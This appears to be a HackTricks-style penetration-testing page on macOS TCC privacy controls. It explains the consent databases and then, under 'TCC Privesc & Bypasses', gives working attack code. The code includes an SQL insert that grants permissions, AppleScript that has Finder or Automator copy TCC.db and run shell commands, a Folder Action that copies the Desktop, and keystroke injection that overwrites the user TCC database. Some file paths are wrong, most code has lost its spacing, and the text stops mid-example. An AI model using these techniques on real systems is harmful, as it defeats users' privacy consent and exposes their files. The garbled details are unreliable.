TCC (Transparency, Consent, and Control) is a security protocol focusing on regulating application permissions. Its primary role is to safeguard sensitive features like location services, contacts, photos, microphone, camera, accessibility, and full disk access. By mandating explicit user consent before granting app access to these elements, TCC enhances privacy and user control over their data.
Users encounter TCC when applications request access to protected features. This is visible through a prompt that allows users to approve or deny access. Furthermore, TCC accommodates direct user actions, such as dragging and dropping files into an application, to grant access to specific files, ensuring that applications have access only to what is explicitly permitted.
An example of a TCC prompt
TCC is handled by the daemon located in /System/Library/PrivateFrameworks/TCC.framework/Support/tccd and configured in /System/Library/LaunchDaemons/com.apple.tccd.system.plist (registering the mach service com.apple.tccd.system).
There is a user-mode tccd running per logged in user defined in /System/Library/LaunchAgents/com.apple.tccd.plist registering the mach services com.apple.tccd and com.apple.usernotifications.delegate.com.apple.tccd.
Here you can see the tccd running as system and as user:
Permissions are inherited from the parent application and the permissions are tracked based on the Bundle ID and the Developer ID.
TCC Databases
The allowances/denies then stored in some TCC databases:
The system-wide database in /Library/Application Support/com.apple.TCC/TCC.db .
This database is SIP protected, so only a SIP bypass can write into it.
The user TCC database $HOME/Library/Application Support/com.apple.TCC/TCC.db for per-user preferences.
This database is protected so only processes with high TCC privileges like Full Disk Access can write to it (but i't not protected by SIP).
The previous databases are also TCC protected for read access. So you won't be able to read your regular user TCC database unless it's from a TCC privileged process.
However, remember that a process with these high privileges (like FDA or kTCCServiceEndpointSecurityClient) will be able to write the users TCC database
There is a third TCC database in /var/db/locationd/clients.plist to indicate clients allowed to access location services.
The SIP protected file /Users/carlospolop/Downloads/REG.db (also protected from read access with TCC), contains the location of all the valid TCC databases.
The SIP protected file /Users/carlospolop/Downloads/MDMOverrides.plist (also protected from read access with TCC), contains more TCC granted permissions.
The SIP protected file /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist (bu readable by anyone) is an allow list of applications that require a TCC exception.
The TCC database in iOS is in /private/var/mobile/Library/TCC/TCC.db
The notification center UI can make changes in the system TCC database:
However, users can delete or query rules with the tccutil command line utility.
Query the databases
sqlite3~/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
sqlite3/Library/Application\ Support/com.apple.TCC/TCC.dbsqlite> .schema# Tables: admin, policies, active_policy, access, access_overrides, expired, active_policy_id# The table access contains the permissions per servicessqlite> selectservice,client,auth_value,auth_reasonfromaccess;kTCCServiceLiverpool|com.apple.syncdefaultsd|2|4kTCCServiceSystemPolicyDownloadsFolder|com.tinyspeck.slackmacgap|2|2kTCCServiceMicrophone|us.zoom.xos|2|2[...]# Get all FDAsqlite> select service, client, auth_value, auth_reason from access where service = "kTCCServiceSystemPolicyAllFiles" and auth_value=2;
# Check user approved permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=2;# Check user denied permissions for telegramsqlite> select*fromaccesswhereclientLIKE"%telegram%"andauth_value=0;
Checking both databases you can check the permissions an app has allowed, has forbidden, or doesn't have (it will ask for it).
The service is the TCC permission string representation
The client is the bundle ID or path to binary with the permissions
The client_type indicates whether it’s a Bundle Identifier(0) or an absolute path(1)
How to execute if it's an absolute path
Just do launctl load you_bin.plist, with a plist like:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"><plistversion="1.0"><dict><!-- Label for the job --> <key>Label</key> <string>com.example.yourbinary</string><!-- The path to the executable --> <key>Program</key> <string>/path/to/binary</string><!-- Arguments to pass to the executable (if any) --> <key>ProgramArguments</key> <array> <string>arg1</string> <string>arg2</string> </array><!-- Run at load --> <key>RunAtLoad</key> <true/><!-- Keep the job alive, restart if necessary --> <key>KeepAlive</key> <true/><!-- Standard output and error paths (optional) --> <key>StandardOutPath</key> <string>/tmp/YourBinary.stdout</string> <key>StandardErrorPath</key> <string>/tmp/YourBinary.stderr</string></dict></plist>
The auth_value can have different values: denied(0), unknown(1), allowed(2), or limited(3).
The auth_reason can take the following values: Error(1), User Consent(2), User Set(3), System Set(4), Service Policy(5), MDM Policy(6), Override Policy(7), Missing usage string(8), Prompt Timeout(9), Preflight Unknown(10), Entitled(11), App Type Policy(12)
The csreq field is there to indicate how to verify the binary to execute and grant the TCC permissions:
# Query to get cserq in printable hexselect service, client, hex(csreq) from access where auth_value=2;# To decode it (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):BLOB="FADE0C000000003000000001000000060000000200000012636F6D2E6170706C652E5465726D696E616C000000000003"echo"$BLOB"|xxd-r-p>terminal-csreq.bincsreq-r--t<terminal-csreq.bin# To create a new one (https://stackoverflow.com/questions/52706542/how-to-get-csreq-of-macos-application-on-command-line):
REQ_STR=$(codesign-d-r-/Applications/Utilities/Terminal.app/2>&1|awk-F' => ''/designated/{print $2}')echo"$REQ_STR"|csreq-r--b/tmp/csreq.binREQ_HEX=$(xxd-p/tmp/csreq.bin|tr-d'\n')echo"X'$REQ_HEX'"
You could also check already given permissions to apps in System Preferences --> Security & Privacy --> Privacy --> Files and Folders.
Users candelete or query rules using tccutil .
Reset TCC permissions
# You can reset all the permissions given to an application withtccutilresetAllapp.some.id# Reset the permissions granted to all appstccutilresetAll
TCC Signature Checks
The TCC database stores the Bundle ID of the application, but it also storesinformation about the signature to make sure the App asking to use the a permission is the correct one.
# From sqlitesqlite> selectservice,client,hex(csreq) fromaccesswhereauth_value=2;#Get csreq# From bashecho FADE0C00000000CC000000010000000600000007000000060000000F0000000E000000000000000A2A864886F763640601090000000000000000000600000006000000060000000F0000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A364E33385657533542580000000000020000001572752E6B656570636F6465722E54656C656772616D000000 | xxd -r -p - > /tmp/telegram_csreq.bin
## Get signature checkscsreq-t-r/tmp/telegram_csreq.bin(anchor apple generic and certificate leaf[field.1.2.840.113635.100.6.1.9] /* exists */ or anchor apple generic and certificate 1[field.1.2.840.113635.100.6.2.6] /* exists */ and certificate leaf[field.1.2.840.113635.100.6.1.13] /* exists */ and certificate leaf[subject.OU] = "6N38VWS5BX") and identifier "ru.keepcoder.Telegram"
Therefore, other applications using the same name and bundle ID won't be able to access granted permissions given to other apps.
Entitlements & TCC Permissions
Apps don't only need to request and have been granted access to some resources, they also need to have the relevant entitlements.
For example Telegram has the entitlement com.apple.security.device.camera to request access to the camera. An app that doesn't have this entitlement won't be able to access the camera (and the user won't be be even asked for the permissions).
However, for apps to access to certain user folders, such as ~/Desktop, ~/Downloads and ~/Documents, they don't need to have any specific entitlements. The system will transparently handle access and prompt the user as needed.
Apple's apps won’t generate prompts. They contain pre-granted rights in their entitlements list, meaning they will never generate a popup, nor they will show up in any of the TCC databases. For example:
This will avoid Calendar ask the user to access reminders, calendar and the address book.
Apart from some official documentation about entitlements it's also possible to find unofficial interesting information about entitlements inhttps://newosxbook.com/ent.jl
Some TCC permissions are: kTCCServiceAppleEvents, kTCCServiceCalendar, kTCCServicePhotos... There is no public list that defines all of them but you can check this list of known ones.
Sensitive unprotected places
$HOME (itself)
$HOME/.ssh, $HOME/.aws, etc
/tmp
User Intent / com.apple.macl
As mentioned previously, it possible to grant access to an App to a file by drag&dropping it to it. This access won't be specified in any TCC database but as an extendedattribute of the file. This attribute will store the UUID of the allowed app:
xattrDesktop/private.txtcom.apple.macl# Check extra access to the file## Script from https://gist.githubusercontent.com/brunerd/8bbf9ba66b2a7787e1a6658816f3ad3b/raw/34cabe2751fb487dc7c3de544d1eb4be04701ac5/maclTrack.command
macl_readDesktop/private.txtFilename,Header,AppUUID"Desktop/private.txt",0300,769FD8F1-90E0-3206-808C-A8947BEBD6C3# Get the UUID of the appotool-l/System/Applications/Utilities/Terminal.app/Contents/MacOS/Terminal|grepuuiduuid769FD8F1-90E0-3206-808C-A8947BEBD6C3
It's curious that the com.apple.macl attribute is managed by the Sandbox, not tccd.
Also note that if you move a file that allows the UUID of an app in your computer to a different compiter, because the same app will have different UIDs, it won't grant access to that app.
The extended attribute com.apple.maclcan’t be cleared like other extended attributes because it’s protected by SIP. However, as explained in this post, it's possible to disable it zipping the file, deleting it and unzipping it.
TCC Privesc & Bypasses
Insert into TCC
If at some point you manage to get write access over a TCC database you can use something like the following to add an entry (remove the comments):
Insert into TCC example
INSERT INTO access (service, client, client_type, auth_value, auth_reason, auth_version, csreq, policy_id, indirect_object_identifier_type, indirect_object_identifier, indirect_object_code_identity, flags, last_modified, pid, pid_version, boot_uuid, last_reminded) VALUES ('kTCCServiceSystemPolicyDesktopFolder', -- service'com.googlecode.iterm2', -- client0, -- client_type (0 - bundle id)2, -- auth_value (2 - allowed)3, -- auth_reason (3 - "User Set")1, -- auth_version (always 1) X'FADE0C00000000C40000000100000006000000060000000F0000000200000015636F6D2E676F6F676C65636F64652E697465726D32000000000000070000000E000000000000000A2A864886F7636406010900000000000000000006000000060000000E000000010000000A2A864886F763640602060000000000000000000E000000000000000A2A864886F7636406010D0000000000000000000B000000000000000A7375626A6563742E4F550000000000010000000A483756375859565137440000', -- csreq is a BLOB, set to NULL for now
NULL, -- policy_idNULL, -- indirect_object_identifier_type'UNUSED', -- indirect_object_identifier - default valueNULL, -- indirect_object_code_identity0, -- flags strftime('%s', 'now'), -- last_modified with default current timestampNULL, -- assuming pid is an integer and optionalNULL, -- assuming pid_version is an integer and optional'UNUSED', -- default value for boot_uuid strftime('%s', 'now') -- last_reminded with default current timestamp);
TCC Payloads
If you managed to get inside an app with some TCC permissions check the following page with TCC payloads to abuse them:
The TCC name of the Automation permission is: kTCCServiceAppleEvents
This specific TCC permission also indicates the application that can be managed inside the TCC database (so the permissions doesn't allow just to manage everything).
Finder is an application that always has FDA (even if it doesn't appear in the UI), so if you have Automation privileges over it, you can abuse its privileges to make it do some actions.
In this case your app would need the permission kTCCServiceAppleEvents over com.apple.Finder.
# This AppleScript will copy the system TCC database into /tmposascript<<EODtellapplication"Finder"set homeFolder topath to home folder asstringset sourceFile to (homeFolder &"Library:Application Support:com.apple.TCC:TCC.db") asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
osascript<<EODtellapplication"Finder"set sourceFile toPOSIX file"/Library/Application Support/com.apple.TCC/TCC.db"asaliasset targetFolder toPOSIX file"/tmp"asaliasduplicatefile sourceFile to targetFolder with replacingend tellEOD
You could abuse this to write your own user TCC database.
With this permission you will be able to ask finder to access TCC restricted folders and give you the files, but afaik you won't be able to make Finder execute arbitrary code to fully abuse his FDA access.
Therefore, you won't be able to abuse the full FDA habilities.
This is the TCC prompt to get Automation privileges over Finder:
Note that because the Automator app has the TCC permission kTCCServiceAppleEvents, it can control any app, like Finder. So having the permission to control Automator you could also control the Finder with a code like the one below:
Get a shell inside Automator
osascript<<EODset theScript to"touch /tmp/something"tellapplication"Automator"set actionID to Automator action id"com.apple.RunShellScript"tell (make new workflow) add actionID to ittelllast Automator actionset value of setting "inputMethod"to1set value of setting "COMMAND_STRING"to theScriptend tell execute itend tellactivateend tellEOD# Once inside the shell you can use the previous code to make Finder copy the TCC databases for example and not TCC prompt will appear
Same happens with Script Editor app, it can control Finder, but using an AppleScript you cannot force it to execute a script.
Automation (SE) to some TCC
System Events can create Folder Actions, and Folder actions can access some TCC folders (Desktop, Documents & Downloads), so a script like the following one can be used to abuse this behaviour:
# Create script to execute with the actioncat>"/tmp/script.js"<<EODvar app = Application.currentApplication();app.includeStandardAdditions = true;app.doShellScript("cp -r $HOME/Desktop /tmp/desktop");EODosacompile-lJavaScript-o"$HOME/Library/Scripts/Folder Action Scripts/script.scpt""/tmp/script.js"# Create folder action with System Events in "$HOME/Desktop"osascript<<EODtell application "System Events" -- Ensure Folder Actions are enabled set folder actions enabled to true -- Define the path to the folder and the script set homeFolder to path to home folder as text set folderPath to homeFolder & "Desktop" set scriptPath to homeFolder & "Library:Scripts:Folder Action Scripts:script.scpt" -- Create or get the Folder Action for the Desktop if not (exists folder action folderPath) then make new folder action at end of folder actions with properties {name:folderPath, path:folderPath} end if set myFolderAction to folder action folderPath -- Attach the script to the Folder Action if not (exists script scriptPath of myFolderAction) then make new script at end of scripts of myFolderAction with properties {name:scriptPath, path:scriptPath} end if -- Enable the Folder Action and the script enable myFolderActionend tellEOD# File operations in the folder should trigger the Folder Actiontouch"$HOME/Desktop/file"rm"$HOME/Desktop/file"
Automation (SE) + Accessibility (kTCCServicePostEvent|kTCCServiceAccessibility) to FDA*
Automation on System Events + Accessibility (kTCCServicePostEvent) allows to send keystrokes to processes. This way you could abuse Finder to change the users TCC.db or to give FDA to an arbitrary app (although password might be prompted for this).
Finder overwriting users TCC.db example:
-- store the TCC.db file to copy in /tmposascript <<EOFtellapplication"System Events"-- Open Findertellapplication"Finder"toactivate-- Open the /tmp directorykeystroke"g" using {command down, shift down}delay1keystroke"/tmp"delay1keystroke returndelay1-- Select and copy the filekeystroke"TCC.db"delay1keystroke"c" using {command down}delay1-- Resolve $HOME environment variableset homePath tosystem attribute"HOME"-- Navigate to the Desktop directory under $HOMEkeystroke"g" using {command down, shift down}delay1keystroke homePath &"/Library/Application Support/com.apple.TCC"delay1keystroke returndelay1 -- Check if the file exists in the destination and delete if it does (need to send keystorke code: https://macbiblioblog.blogspot.com/2014/12/key-codes-for-function-and-special-keys.html)
keystroke"TCC.db"delay1keystroke returndelay1key code51 using {command down}delay1-- Paste the filekeystroke"v" using {command down}end tellEOF
If you have kTCCServiceEndpointSecurityClient, you have FDA. End.
System Policy SysAdmin File to FDA
kTCCServiceSystemPolicySysAdminFiles allows to change the NFSHomeDirectory attribute of a user that changes his home folder and therefore allows to bypass TCC.
User TCC DB to FDA
Obtaining write permissions over the user TCC database you **can'**t grant yourself FDA permissions, only the one that lives in the system database can grant that.
But you can can give yourself Automation rights to Finder, and abuse the previous technique to escalate to FDA*.
FDA to TCC permissions
Full Disk Access is TCC name is kTCCServiceSystemPolicyAllFiles
I don't thing this is a real privesc, but just in case you find it useful: If you controls a program with FDA you can modify the users TCC database and give yourself any access. This can be useful as a persistence technique in case you might lose your FDA permissions.
SIP Bypass to TCC Bypass
The system TCC database is protected by SIP, thats why only processes with the indicated entitlements are going to be able to modify it. Therefore, if an attacker finds a SIP bypass over a file (be able to modify a file restricted by SIP), he will be able to:
Remove the protection of a TCC database, and give himself all TCC permissions. He could abuse any of these files for example:
The TCC systems database
REG.db
MDMOverrides.plist
However, there is another option to abuse this SIP bypass to bypass TCC, the file /Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist is an allow list of applications that require a TCC exception. Therefore, if an attacker can remove the SIP protection from this file and add his own application the application ill be able to bypass TCC.
For example to add terminal:
# Get needed infocodesign-d-r-/System/Applications/Utilities/Terminal.app
